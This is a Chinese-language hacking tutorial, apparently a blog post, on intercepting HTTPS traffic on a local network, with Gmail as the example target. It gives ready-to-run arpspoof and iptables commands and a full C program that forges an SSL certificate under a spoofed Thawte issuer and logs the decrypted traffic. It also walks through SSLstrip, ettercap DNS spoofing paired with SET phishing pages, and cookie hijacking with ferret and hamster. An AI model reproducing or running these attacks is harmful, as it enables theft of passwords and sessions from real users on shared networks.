咱們經常提到HTTPS使用了SSL/TLS加密協議,是一種很是安全的WEB通訊機制,這句話從某種角度來講是對的。我以爲更準備地應該說是針對傳統的明文嗅探進行了有效的防護。但同時,咱們應該認識到,安全技術、攻擊方式每每在不一樣的場景、組合不一樣的技術能夠造成多種多樣的業務架構,而安全問題每每就發生在這些新出現的業務架構中。在一些特定的前提、特定的觸發條件下,一些看似傳統的攻擊方式可以造成新的攻擊向量。javascript
今天咱們來討論一下怎麼針對GMAIL這種使用SSL/TLS加密算法加密的通訊進行流量竊取,單純就SSL協議自己來講,它使用強勁的加密算法對通訊數據進行加密,目前並無直接的方法對這個協議自己進行攻擊,可是,當結合中間人攻擊、無線僞AP流量劫持這種攻擊方式時,即整個SSL的初始化握手過程都暴露在攻擊者面前的時候,SSL就有被攻擊利用的可能(相似WPA、WPA2密碼破解同樣)php
接下來,咱們逐一學習幾種攻擊方式、及其它們的相關技術html
1) 有線局域網下ARP投毒+中間人僞造SSL證書攻擊 2) 有線局域網下ARP投毒+中間人SSL卸載攻擊 3) 基於中間人攻擊的SSL BEAST攻擊 4) 基於DNS劫持的SET社會工程釣魚攻擊 5) 基於中間人攻擊的會話劫持攻擊(Session Hajacking)
Relevant Link: java
http://www.cnblogs.com/LittleHann/p/3733469.html http://www.cnblogs.com/LittleHann/p/3738141.html http://www.cnblogs.com/LittleHann/p/3741907.html http://www.cnblogs.com/LittleHann/p/3708222.html http://www.icylife.net/blog/?p=371&replytocom=3140 http://www.thoughtcrime.org/software/sslstrip/ http://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf http://hi.baidu.com/fairex/item/1bc33bda9bd177e5795daacc http://hi.baidu.com/fooying/item/8198ebd71f86cb4afa576874 http://blog.ivanristic.com/2011/10/mitigating-the-beast-attack-on-tls.html http://blog.csdn.net/jimmyleeee/article/details/7029435 http://www.butian.org/server/2543.html http://www.educatedguesswork.org/2011/09/security_impact_of_the_rizzodu.html http://www.freebuf.com/articles/web/5636.html https://github.com/trustedsec/social-engineer-toolkit/ http://www.freebuf.com/tools/7841.html http://security.zdnet.com.cn/security_zone/2009/0812/1429569.shtml
關於ARP的原理請參閱另外一篇文章python
http://www.cnblogs.com/LittleHann/p/3735816.html
ARP欺騙的3種方式:linux
1. 攻擊者僅僅欺騙被攻擊主機(單向): 主機C向主機B發送僞造的ARP迴應包,聲稱本身的MAC地址就是網關對應的IP,這樣,主機B就會將全部的流量發送主機C(攻擊者),主機C開啓ip_forward路由轉發功能將數據包進行轉發 2. 攻擊者僅僅欺騙被攻擊主機、同時在本地進行Iptable NAT轉發(雙向) 主機C向主機B發送僞造的ARP迴應包,聲稱本身的MAC地址就是網關對應的IP,這樣,主機B就會將全部的流量發送主機C(攻擊者),同時,攻擊者在本地使用Iptables進行NAT轉換,這樣就能夠
接收到網關返回的數據包,完成雙向流量竊取的目的 3. 攻擊者同時欺騙被攻擊主機和網關(雙向) 主機C同時欺騙主機B和網關,實現數據中轉,並監聽到全部主機B的數據(雙向) 主機C向網關發送ARP迴應包,聲稱本身是主機B,同時向主機B發送ARP迴應包,聲稱本身是網關,這樣,網關和主機B兩邊的流量都會發往主機C,主機C並不須要使用Iptables作特殊的轉發,只
須要打開ip_forward路由開關(即打開轉發功能),是主機C具備數據包轉發的功能便可,就能夠成功劫持主機B的流量數據
關於這幾種ARP欺騙方式的區別,咱們接下來分別說明一下git
能夠看到,攻擊者只污染了受攻擊主機的ARP緩存表,因此受攻擊主機的本來發往網關的數據包都會發送到攻擊者的主機中,可是網關的ARP表是正常的,網關會根據當前數據包的目的IP地址(受攻擊主機的IP地址)進行正確的ARP解析,從而將數據包發送到受攻擊主機上。github
這種方式的直接後果就是咱們只能竊取到受攻擊主機的"外發數據包",沒法接收到從遠程服務端返回的"返回數據包",天然也就沒法進行流量內容修改、流量注入的目的web
1. 開啓端口轉發,容許本機像路由器那樣轉發數據包 echo 1 > /proc/sys/net/ipv4/ip_forward 2. ARP投毒,向主機B聲稱本身(攻擊者)就是網關 arpspoof -h Usage: arpspoof [-i interface] [-t target] host arpspoof -i eth0 -t 192.168.159.132 192.168.159.2 (192.168.159.132是咱們的攻擊目標、192.168.159.2是網關IP地址)
攻擊的原理是攻擊者不斷向受攻擊目標(192.168.159.132)發送"ARP迴應包",聲稱本身就是網關,由於ARP機制沒有身份驗證,因此受攻擊目標會把接收到的ARP迴應包保存進本身的ARP緩存中,從而達到ARP污染的目的算法
00:0c:29:4b:5c:be這個MAC地址是發動ARP投毒的攻擊者的MAC地址
受攻擊主機(192.168.159.132)的ARP緩存表以下:
能夠看到,網關的MAC地址已經被"污染"成了攻擊者的MAC地址,單向ARP污染成功。
完成了單向ARP投毒攻擊以後,咱們能夠獲取到受攻擊主機的外發數據包
從圖中能夠看到,因爲使用了NAT技術,從服務端返回的數據包也會通過攻擊者的主機了,這樣,攻擊者就能夠在本地進行流量內容的修改、流量注入了
1. 開啓端口轉發,容許本機像路由器那樣轉發數據包 echo 1 > /proc/sys/net/ipv4/ip_forward 2. ARP投毒,向主機B聲稱本身(攻擊者)就是網關 arpspoof -i eth0 -t 192.168.159.132 192.168.159.2 (192.168.159.132是咱們的攻擊目標、192.168.159.2是網關IP地址) 3. 使用Iptables進行NAT數據包轉發 iptables -t nat -A POSTROUTING -p tcp -s 192.168.159.0/24 -j SNAT --to-source 192.168.159.254 iptables -t nat -A PREROUTING -p tcp -d 192.168.159.254 -j DNAT --to 192.168.159.132 有關Iptables的原理請參閱另外一篇文章: http://www.cnblogs.com/LittleHann/p/3708222.html
能夠看到,受攻擊主機將數據包發給了攻擊者(假的網關),而後攻擊者NAT了這個數據包
能夠看到,在雙向ARP欺騙中,攻擊者僅僅充當了一個"數據包路由轉發"的角色,將兩個方向的數據包都進行轉發
1. 開啓端口轉發,容許本機像路由器那樣轉發數據包 echo 1 > /proc/sys/net/ipv4/ip_forward 2. ARP投毒,向主機B聲稱本身(攻擊者)就是網關 arpspoof -i eth0 -t 192.168.159.132 192.168.159.2 (192.168.159.132是咱們的攻擊目標、192.168.159.2是網關IP地址) 這個指令翻譯爲中間即爲: 告訴"192.168.159.132"這我的,"192.168.159.2"這個IP的MAC就是攻擊者本機的MAC地址 3. ARP投毒,向網關G聲稱本身(攻擊者)就是網關 arpspoof -i eth0 -t 192.168.159.2 192.168.159.132 (192.168.159.2是網關IP地址、192.168.159.132是咱們的攻擊目標) 這個指令翻譯爲中間即爲: 告訴"192.168.159.2"這我的,"192.168.159.132"這個IP的MAC就是攻擊者本機的MAC地址
以上3中思路從本質上來看都是同樣的,咱們在學習的時候要從網絡通訊的底層原理的角度來理解
1. 網絡數據包的通訊是經過MAC地址來鏈接的,數據包只會根據MAC進行點對點的發送和接收 2. 爲了解決跨局域網、跨域發送的問題,因此有了IP層,IP負責對數據包進行路由 4. 數據包在發送的過程當中,MAC會在不一樣的"跳"中變化,而源、目的IP地址是不會變的,它負責路由的功能 3. 咱們在設置網卡參數的網關GetWay時填寫的IP,其實只是爲了獲取網關的MAC而存在的,默認網關也所以得名,即當咱們發送的目的IP不在當前局域網範圍內,這個數據包就會被髮送網關
(即目的MAC地址填寫網關的MAC地址)
關於SSL的交互、通訊原理,請參閱另外一篇文章
http://www.cnblogs.com/LittleHann/p/3733469.html
SSL證書中間人僞造攻擊的思路以下:
1. 攻擊者對目標客戶端和網關發送ARP投毒攻擊,污染它們的ARP緩存表 2. 客戶端在瀏覽器中輸入"https://mail.google.com/"的網址,瀏覽器會嘗試和"https://mail.google.com/"的443端口創建SSL鏈接,可是由於客戶端受到了ARP投毒攻擊,本來發往
網關的數據包被髮往了攻擊者的主機 3. 攻擊者在本機使用iptables將接收到的443目的端口的數據包重定向到本機的IP地址 4. 這樣,受攻擊者客戶端的瀏覽器就只會和攻擊者主機進行SSL鏈接 5. 攻擊者在本機使用監聽443端口,而且僞造一個假的SSL證書,用於和客戶端的鏈接,同時,提取客戶端發送的數據包的原始目的IP地址,用於和客戶端原始請求的服務器創建另外一個SSL鏈接 6. 中間人攻擊者在雙向的SSL Socket通訊都創建完成後,對兩邊的socket進行數據讀寫同步,將數據通道打通,使客戶端的瀏覽器可以正常訪問(受攻擊者不會察覺到已經收到SSL中間人攻擊) 6. 在數據同步的同時,記錄下明文數據,達到SSL中間人攻擊的目的
關於使用openssl進行證書僞造、端口監聽的編程實現,請參閱另外一篇文章:
http://www.cnblogs.com/LittleHann/p/3741907.html
整個過程以下:
1. 攻擊者發動ARP攻擊 echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t 192.168.159.132 192.168.159.2 arpspoof -i eth0 -t 192.168.159.2 192.168.159.132 ("192.168.159.132"是受攻擊客戶端,"192.168.159.2"是網關)
能夠看到,受攻擊客戶端的ARP緩存表受到了污染("00-0c-29-4b-5c-be"是攻擊者的MAC地址)
2. 攻擊者使用Iptables重定向HTTPS數據 iptables -t nat -F iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to 192.168.159.254 ("192.168.159.254"是攻擊者IP)
這條命令的意思是將本機接收到的目的端口是443的數據包重定向到192.168.159.254(本機),這麼作的效果是攔截了本來客戶端向原始服務端的SSL鏈接請求,這樣,客戶端其實是在和中間人進行SSL鏈接。關於iptables的原理,請參閱另外一篇文章
http://www.cnblogs.com/LittleHann/p/3708222.html
3. 攻擊者生成本地僞證書所需的公私鑰 openssl genrsa -out private.key 1024 openssl rsa -in private.key -pubout -out public.key
咱們知道,中間人要僞造SSL證書,而且要成功地和客戶端進行交互,就須要有對應的公私鑰對文件
4. 攻擊者本地監聽443端口,等待客戶端的鏈接 vim SSL_man_in_middle.c code: #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <sys/param.h> #include <linux/netfilter_ipv4.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/time.h> #include <openssl/ssl.h> #include <openssl/err.h> #define LISTEN_BACKLOG 50 #define warning(msg) \ do { fprintf(stderr, "%d, ", sum); perror(msg); } while(0) #define error(msg) \ do { fprintf(stderr, "%d, ", sum); perror(msg); exit(EXIT_FAILURE); } while (0) int sum = 1; struct timeval timeout = { 0, 10000000 }; int get_socket_to_server(struct sockaddr_in* original_server_addr) { int sockfd; if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { error("Fail to initial socket to server!"); } if (connect(sockfd, (struct sockaddr*) original_server_addr, sizeof(struct sockaddr)) < 0) { error("Fail to connect to server!"); } printf("%d, Connect to server [%s:%d]\n", sum, inet_ntoa(original_server_addr->sin_addr), ntohs(original_server_addr->sin_port)); return sockfd; } //監聽指定端口,等待客戶端的鏈接 int socket_to_client_init(short int port) { int sockfd; int on = 1; struct sockaddr_in addr; //初始化一個socket if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { error("Fail to initial socket to client!"); } if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *) &on, sizeof(on)) < 0) { error("reuseaddr error!"); } memset(&addr, 0, sizeof(addr)); addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_family = AF_INET; //將該socket綁定到8888端口上 addr.sin_port = htons(port); if (bind(sockfd, (struct sockaddr*) &addr, sizeof(struct sockaddr)) < 0) { shutdown(sockfd, SHUT_RDWR); error("Fail to bind socket to client!"); } //而後監聽該端口 if (listen(sockfd, LISTEN_BACKLOG) < 0) { shutdown(sockfd, SHUT_RDWR); error("Fail to listen socket to client!"); } return sockfd; } /* 當主機B發起一個SSL鏈接時,咱們在本地8888端口就能夠監聽到鏈接,這時咱們接受這個鏈接,並得到該連接的原始目的地址, 以便後續鏈接服務器時使用。該部分封裝到了get_socket_to_client函數中。 */ int get_socket_to_client(int socket, struct sockaddr_in* original_server_addr) { int client_fd; struct sockaddr_in client_addr; socklen_t client_size = sizeof(struct sockaddr); socklen_t server_size = sizeof(struct sockaddr); memset(&client_addr, 0, client_size); memset(original_server_addr, 0, server_size); client_fd = accept(socket, (struct sockaddr *) &client_addr, &client_size); if (client_fd < 0) { warning("Fail to accept socket to client!"); return -1; } /* 經過getsockopt函數得到socket中的SO_ORIGINAL_DST屬性,獲得報文被iptables重定向以前的原始目的地址。 使用SO_ORIGINAL_DST屬性須要包括頭文件<linux/netfilter_ipv4.h>。 值得注意的是,在當前的情景下,經過getsockname等函數是沒法正確得到原始的目的地址的, 由於iptables在重定向報文到本地端口時,已經將IP報文的目的地址修改成本地地址, 因此getsockname等函數得到的都是本地地址而不是服務器的地址。 */ if (getsockopt(client_fd, SOL_IP, SO_ORIGINAL_DST, original_server_addr, &server_size) < 0) { warning("Fail to get original server address of socket to client!");; } printf("%d, Find SSL connection from client [%s:%d]", sum, inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); printf(" to server [%s:%d]\n", inet_ntoa(original_server_addr->sin_addr), ntohs(original_server_addr->sin_port)); return client_fd; } // 初始化openssl庫 void SSL_init() { SSL_library_init(); SSL_load_error_strings(); } void SSL_Warning(char *custom_string) { char error_buffer[256] = { 0 }; fprintf(stderr, "%d, %s ", sum, custom_string); ERR_error_string(ERR_get_error(), error_buffer); fprintf(stderr, "%s\n", error_buffer); } void SSL_Error(char *custom_string) { SSL_Warning(custom_string); exit(EXIT_FAILURE); } //在與服務器創建了socket鏈接以後,咱們就能夠創建SSL鏈接了。這裏咱們使用linux系統中著名的SSL庫openssl來完成咱們的接下來的工做 SSL* SSL_to_server_init(int socket) { SSL_CTX *ctx; ctx = SSL_CTX_new(SSLv23_client_method()); if (ctx == NULL) { SSL_Error("Fail to init ssl ctx!"); } SSL *ssl = SSL_new(ctx); if (ssl == NULL) { SSL_Error("Create ssl error"); } if (SSL_set_fd(ssl, socket) != 1) { SSL_Error("Set fd error"); } return ssl; } SSL* SSL_to_client_init(int socket, X509 *cert, EVP_PKEY *key) { SSL_CTX *ctx; ctx = SSL_CTX_new(SSLv23_server_method()); if (ctx == NULL) SSL_Error("Fail to init ssl ctx!"); if (cert && key) { if (SSL_CTX_use_certificate(ctx, cert) != 1) SSL_Error("Certificate error"); if (SSL_CTX_use_PrivateKey(ctx, key) != 1) SSL_Error("key error"); if (SSL_CTX_check_private_key(ctx) != 1) SSL_Error("Private key does not match the certificate public key"); } SSL *ssl = SSL_new(ctx); if (ssl == NULL) SSL_Error("Create ssl error"); if (SSL_set_fd(ssl, socket) != 1) SSL_Error("Set fd error"); return ssl; } void SSL_terminal(SSL *ssl) { SSL_CTX *ctx = SSL_get_SSL_CTX(ssl); SSL_shutdown(ssl); SSL_free(ssl); if (ctx) SSL_CTX_free(ctx); } // 從文件讀取僞造SSL證書時須要的RAS私鑰和公鑰 EVP_PKEY* create_key() { EVP_PKEY *key = EVP_PKEY_new(); RSA *rsa = RSA_new(); FILE *fp; if ((fp = fopen("private.key", "r")) == NULL) { error("private.key"); } PEM_read_RSAPrivateKey(fp, &rsa, NULL, NULL); if ((fp = fopen("public.key", "r")) == NULL) { error("public.key"); } PEM_read_RSAPublicKey(fp, &rsa, NULL, NULL); EVP_PKEY_assign_RSA(key,rsa); return key; } X509* create_fake_certificate(SSL* ssl_to_server, EVP_PKEY *key) { unsigned char buffer[128] = { 0 }; int length = 0, loc; X509 *server_x509 = SSL_get_peer_certificate(ssl_to_server); X509 *fake_x509 = X509_dup(server_x509); if (server_x509 == NULL) { SSL_Error("Fail to get the certificate from server!"); } X509_set_version(fake_x509, X509_get_version(server_x509)); ASN1_INTEGER *a = X509_get_serialNumber(fake_x509); a->data[0] = a->data[0] + 1; X509_NAME *issuer = X509_NAME_new(); X509_NAME_add_entry_by_txt(issuer, "CN", MBSTRING_ASC, "Thawte SGC CA", -1, -1, 0); X509_NAME_add_entry_by_txt(issuer, "O", MBSTRING_ASC, "Thawte Consulting (Pty) Ltd.", -1, -1, 0); X509_NAME_add_entry_by_txt(issuer, "OU", MBSTRING_ASC, "Thawte SGC CA", -1, -1, 0); X509_set_issuer_name(fake_x509, issuer); X509_sign(fake_x509, key, EVP_sha1()); return fake_x509; } /* 咱們將抓取數據的代碼封裝到transfer函數中。該函數主要是使用系統的select函數同時監聽服務器和客戶端, 並使用SSL_read和SSL_write不斷的在兩個信道之間傳遞數據,並將數據輸出到控制檯 */ int transfer(SSL *ssl_to_client, SSL *ssl_to_server) { int socket_to_client = SSL_get_fd(ssl_to_client); int socket_to_server = SSL_get_fd(ssl_to_server); int ret; char buffer[4096] = { 0 }; fd_set fd_read; printf("%d, waiting for transfer\n", sum); while (1) { int max; FD_ZERO(&fd_read); FD_SET(socket_to_server, &fd_read); FD_SET(socket_to_client, &fd_read); max = socket_to_client > socket_to_server ? socket_to_client + 1 : socket_to_server + 1; ret = select(max, &fd_read, NULL, NULL, &timeout); if (ret < 0) { SSL_Warning("Fail to select!"); break; } else if (ret == 0) { continue; } if (FD_ISSET(socket_to_client, &fd_read)) { memset(buffer, 0, sizeof(buffer)); ret = SSL_read(ssl_to_client, buffer, sizeof(buffer)); if (ret > 0) { if (ret != SSL_write(ssl_to_server, buffer, ret)) { SSL_Warning("Fail to write to server!"); break; } else { printf("%d, client send %d bytes to server\n", sum, ret); printf("%s\n", buffer); } } else { SSL_Warning("Fail to read from client!"); break; } } if (FD_ISSET(socket_to_server, &fd_read)) { memset(buffer, 0, sizeof(buffer)); ret = SSL_read(ssl_to_server, buffer, sizeof(buffer)); if (ret > 0) { if (ret != SSL_write(ssl_to_client, buffer, ret)) { SSL_Warning("Fail to write to client!"); break; } else { printf("%d, server send %d bytes to client\n", sum, ret); printf("%s\n", buffer); } } else { SSL_Warning("Fail to read from server!"); break; } } } return -1; } int main() { // 初始化一個socket,將該socket綁定到443端口,並監聽 int socket = socket_to_client_init(443); // 從文件讀取僞造SSL證書時須要的RAS私鑰和公鑰 EVP_PKEY* key = create_key(); // 初始化openssl庫 SSL_init(); while (1) { struct sockaddr_in original_server_addr; // 從監聽的端口得到一個客戶端的鏈接,並將該鏈接的原始目的地址存儲到original_server_addr中 int socket_to_client = get_socket_to_client(socket, &original_server_addr); if (socket_to_client < 0) { continue; } // 新建一個子進程處理後續事宜,主進程繼續監聽端口等待後續鏈接 if (!fork()) { X509 *fake_x509; SSL *ssl_to_client, *ssl_to_server; // 經過得到的原始目的地址,鏈接真正的服務器,得到一個和服務器鏈接的socket int socket_to_server = get_socket_to_server(&original_server_addr); // 經過和服務器鏈接的socket創建一個和服務器的SSL鏈接 ssl_to_server = SSL_to_server_init(socket_to_server); if (SSL_connect(ssl_to_server) < 0) { SSL_Error("Fail to connect server with ssl!"); } printf("%d, SSL to server\n", sum); // 從服務器得到證書,並經過這個證書僞造一個假的證書 fake_x509 = create_fake_certificate(ssl_to_server, key); // 使用假的證書和咱們本身的密鑰,和客戶端創建一個SSL鏈接。至此,SSL中間人攻擊成功 ssl_to_client = SSL_to_client_init(socket_to_client, fake_x509, key); if (SSL_accept(ssl_to_client) <= 0) { SSL_Error("Fail to accept client with ssl!"); } printf("%d, SSL to client\n", sum); // 在服務器SSL鏈接和客戶端SSL鏈接之間轉移數據,並輸出服務器和客戶端之間通訊的數據 if (transfer(ssl_to_client, ssl_to_server) < 0) { break; } printf("%d, connection shutdown\n", sum); shutdown(socket_to_server, SHUT_RDWR); SSL_terminal(ssl_to_client); SSL_terminal(ssl_to_server); X509_free(fake_x509); EVP_PKEY_free(key); } else { ++sum; } } return 0; } 編譯 gcc SSL_man_in_middle.c -o SSL_man_in_middle -lssl ./SSL_man_in_middle
攻擊者進行了SSL證書僞造,並轉發了流量,同時記錄下了明文數據
能夠看到,直接使用嗅探工具抓包,看到了是密文數據,只有中間人能看到明文數據
這種技術思想是"Moxie Marlinspike"在黑帽大會上發佈"sslstrip"時提出的,它的攻擊思路以下
1. ARP欺騙,使得攻擊者能截獲全部目標主機的網絡流量 2. 攻擊者利用用戶對於地址欄中HTTPS與HTTP的疏忽,將全部的HTTPS鏈接都用HTTP來代替 3. 同時,與目標服務器創建正常的HTTPS鏈接 4. 因爲HTTP通訊是明文傳輸,攻擊者能輕鬆實施嗅探 5. 受攻擊客戶端與原始請求服務器之間的所有通訊通過了代理轉發。 6. 其中,出現的圖標被替換成爲用戶熟悉的"小黃鎖"圖標,以創建信任。 7. 這樣,中間人攻擊就成功騙取了密碼、帳號等信息,而受害者一無所知
這種漏洞發生的緣由是:
1. 大部分使用SSL的網站並不是"全站加密",僅對部分重要的網頁使用SSL,這就給攻擊者以可乘之機。能夠簡單地理解爲: 網站在普通頁面、非機密頁面都是採用HTTP方式訪問的,而在進入登陸頁面的時候纔會採用HTTPS加密處理 2. 大多數網站爲了保證用戶習慣的兼容性,都同時支持HTTP、HTTPS的訪問,大多數狀況下,這兩種訪問方式並無太大的安全問題,可是當用戶訪問的頁面是涉及機密信息的登陸頁面時,
服務端每每會採用"重定向"的方式,"強制"用戶的瀏覽器以HTTPS的方式來訪問登陸頁面,爲的是保證密鑰信息的安全傳輸
其中緣由(2)是咱們可以利用SSLStrip發動攻擊的關鍵,服務端爲了"強制"用戶以HTTPS方式進行登陸,會向瀏覽器返回重定向數據包,即"302 Moved Temporarily",正常狀況下,瀏覽器收到這個數據包以後,就會從新使用新的URL發起一個新的HTTPS鏈接。
而SSLStrip就是盯準了這個時機,當發現瀏覽器試圖加密即採用https傳輸數據時,它就適時的介入中間,充當代理做用,而後主機認爲安全會話開始,這是上文中的被動加密的提示就不會出現了,SSLstrip也經過https鏈接了安全服務器。那麼全部用戶到SSLstrip的鏈接時http,全部的傳輸數據就能被攔截
爲了更好地說明這個原理,咱們來看一看Google的作法
1. 我想訪問GMAIL,因而我輸入: http://mail.google.com/
2. Google收到個人請求,因而它試圖"強制"讓我以HTTPS方式來進行安全訪問
能夠看到,Google返回了一個重定向數據包,這樣,咱們會發現咱們的瀏覽器閃了一下,隨後就以HTTPS的方式進行了安全訪問。這看起來很是安全,事實也的確如此。
可是咱們知道,安全問題每每發生在多種業務場景、多種攻擊方式組合的狀況下。
SSLStrip的攻擊思想就是
1. 攻擊者對目標客戶端發送了ARP投毒攻擊,而且使用iptables截獲目標客戶端的WEB通訊數據(80端口) echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t 192.168.159.132 192.168.159.2 arpspoof -i eth0 -t 192.168.159.2 192.168.159.132 iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.159.254 2. 使用SSLStrip監聽80端口,捕獲"重定向事件" wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz tar zxvf sslstrip-0.9.tar.gz cd sslstrip-0.9 sudo python ./setup.py install /* 1) SSLStrip會持續監聽80端口的WEB數據,若是不是"重定向數據包",則進行正常轉發 2) 若是監聽到"重定向數據包",則攔截數據,開始創建雙向鏈接 2.1) 和目標客戶端創建HTTP普通鏈接 2.2) 和原始請求服務端創建HTTPS機密鏈接 2.3) 並將原始服務端返回的HTTPS加密數據解密後,以HTTP方式返回給客戶端 */ sslstrip -a -k -f -l 80 /* 由於此時目標客戶端和攻擊者中間人的網絡通訊都是HTTP的,因此,能夠經過明文嗅探的方式直接獲得密鑰信息 */ ettercap -T -q -i eth0 3. 目標客戶端正常訪問頁面 http://mail.google.com/ 透過中間人SSLStrip的代理進行了"僞HTTPS"的通訊,在"察覺度較低"的狀況下泄漏了密碼
關於BEAST攻擊,個人大概理解以下:
1. SSL/TLS中使用"記錄協議數據包"來封裝上層的應用數據 2. SSL/TLS使用CBC加密模式進行分組對稱加密,而且不一樣"記錄協議數據包"之間並非獨立的IV,不一樣的數據包之間造成一個總體的CBC模式 3. 中間人攻擊者能夠在返回流量中注入javascript代碼,根據攻擊者已知的IV和Ciper,來窮舉出下一個數據包中包含的cookie信息
相關連接以下:
http://blog.ivanristic.com/2011/10/mitigating-the-beast-attack-on-tls.html http://blog.csdn.net/jimmyleeee/article/details/7029435 http://www.butian.org/server/2543.html http://www.educatedguesswork.org/2011/09/security_impact_of_the_rizzodu.html http://www.freebuf.com/articles/web/5636.html
相似的還有SSL CRIME、SSL BEAST、SSL Lucky 1三、SSL BREACH。感興趣的朋友能夠研究研究
咱們能夠發現,對於中間人攻擊,攻擊者的攻擊方式從方式上能夠分爲如下幾類
1. 數據包嗅探 1) 明文嗅探 2) 藉助中間人代理進行密文嗅探 2. 數據注入 1) CRIME中在數據包中注入javascript代碼實現攻擊目的 3. 數據流量劫持 1) 使用iptables工具對數據包的IP地址進行強制重定向 4. 數據包篡改 1) DNS劫持中篡改DNS返回數據包的IP地址,達到DNS劫持的目的
而DNS劫持攻擊屬於"(2)數據包篡改"的一種,它是工做在53號端口的一種C/S工做模式,客戶端向服務端發送DNS請求解析數據包,服務端返回攜帶指定URL域名對應的IP的的數據包,而做爲中間人攻擊者則監聽這一個過程,經過對返回數據包中的IP進行篡改,來達到攻擊目的。
對於客戶端來講,它的瀏覽器上訪問的仍是一個"正常、合法"的網址,但實際上,這個時候訪問是攻擊者指定的IP地址。
基於中間人攻擊的DNS劫持思路以下
1. ARP投毒,進行中間人攻擊劫持流量 echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t 192.168.159.132 192.168.159.137 arpspoof -i eth0 -t 192.168.159.137 192.168.159.132 2. 使用ettercap的dns_spoof插件進行DNS劫持 locate etter.dns vim /usr/local/share/ettercap/etter.dns 添加一個你須要劫持的URL的IP記錄 www.jnrain.com A 192.168.159.254 www.jnrain.com PTR 192.168.159.254 啓動ettercap插件 ettercap -i eth0 -T -P dns_spoof 3. 客戶端訪問指定URL,返回的是攻擊者指定的IP,達到DNS劫持的目的
咱們已經掌握了進行DNS劫持的技術,即做爲中間人攻擊者能夠控制用戶訪問某個URL時實際訪問到的IP地址,接下來的問題是,以後咱們怎麼辦?
1. 發送中間人攻擊,劫持目標客戶端流量 2. 進行DNS劫持,將"http://www.jnrain.com"這個URL劫持到攻擊者所在的本機上 3. 目標客戶端在訪問"http://www.jnrain.com"的時候實際訪問的是攻擊者所在的服務器 4. 攻擊者在本機服務器上搭建一個釣魚頁面,對"http://www.jnrain.com"進行高度仿真,並加入記錄密碼的代碼 5. 經過釣魚頁面直接獲取目標客戶端的賬號、密碼
能夠看到,在這種攻擊方式中,技術上的難題並非不少,其中困難的應該是在社會工程這方面,怎麼構造"合理的釣魚郵件",吸引目標去訪問指定URL,怎麼保證釣魚頁面的"仿真性",讓目標不易察覺。
SET工具套件提供了一個基礎的社工平臺,它提供了一些基本功能,例如"網頁克隆"、"釣魚郵件發送"等
https://github.com/trustedsec/social-engineer-toolkit/ http://www.freebuf.com/tools/7841.html
發送這種攻擊方式的一個根本緣由是"當前的HTTP環境採用Cookie看成一種鏈接狀態的標識符",即服務端根據Cookie來識別當前登陸用戶的身份,基本上來講,咱們在訪問一個購物網站的時候,瀏覽器和服務器的交互過程是這樣的
1. 用戶第一次訪問這個網站,網站服務端產生一個session,並將這個session的ID值保存在cookie值中,寫入客戶端 2. 客戶端在以後的每次訪問這個網站的同一個域下的頁面時都會帶上這個cookie值, 3. 服務端根據cookie中的sessionID來映射對應的session,從而獲得當前用戶的登陸狀態 4. 這樣,藉助cookie的機制,HTTP協議從某種程度上來講,就成爲了一個有狀態的協議
對攻擊者來講,若是能獲取到這個Cookie值,等於也就獲取了對應用戶的"身份令牌",便可以不須要賬號、密碼就以目標用戶的身份合法的登陸網站(XSS攻擊也是這個目的)
"基於中間人攻擊的會話劫持"屬於前面說的"數據包流量嗅探"類別,它的思路以下:
1. 攻擊者對目標客戶端發送中間人攻擊,劫持流量 2. 使用ferret抓取WEB通訊流量包 3. 使用hamster對抓取的數據包進行重組、分析,得出包含cookie信息的HTTP包 4. 攻擊者使用hamster組合出的HTTP包進行重放,以目標用戶的身份登陸目標網站,達到會話劫持
ferret、hamster是黑帽大會上Robert Graham發佈的一款用於會話劫持的工具
http://security.zdnet.com.cn/security_zone/2009/0812/1429569.shtml
攻擊者須要鏈接到目標客戶端的同一局域網段(或者說同一個廣播域),直接鏈接、或者僞AP劫持均可以達到目的,而後發動ARP投毒攻擊
echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t 192.168.159.132 192.168.159.2 arpspoof -i eth0 -t 192.168.159.2 192.168.159.132 ("192.168.159.132"是受攻擊客戶端,"192.168.159.2"是網關)
在劫持了客戶端和網關的流量以後,使用iptables對SSL443數據包進行"截獲"(直接改變原始鏈路方向),將其強制重定向到本機
iptables -t nat -F iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to 192.168.159.254 ("192.168.159.254"是攻擊者IP)
僞造SSL中間人攻擊程序所需的證書公私鑰對
openssl genrsa -out private.key 1024 openssl rsa -in private.key -pubout -out public.key
啓動中間人攻擊程序(代碼已給出)
./SSL_man_in_middle
爲了實驗目的,咱們在另外一臺機器上架設SSL服務器(充當本來客戶端要鏈接的遠程服務器)
<?php if(!empty($_POST['submit'])) { var_dump($_POST); } ?> <form action="index.php" method="POST"> <p>First name: <input type="text" name="fname" /></p> <p>Last name: <input type="text" name="lname" /></p> <input name="submit" type="submit" value="Submit" /> </form>
能夠看到,因爲證書是僞造的,瀏覽器會提示異常,但若是用戶選擇忽略,則不影響訪問
因爲SSL加密的緣由,wireshark只能抓取到SSL加密後的密文
而中間人因爲創建了雙向的SSL Socket鏈接,能夠得到SSL通訊中的所有明文數據
至此,"有線局域網下ARP投毒+中間人僞造SSL證書攻擊"攻擊成功
1. 攻擊者對目標客戶端發送了ARP投毒攻擊,而且使用iptables截獲目標客戶端的WEB通訊數據(80端口) echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t 192.168.159.132 192.168.159.2 arpspoof -i eth0 -t 192.168.159.2 192.168.159.132 iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.159.254
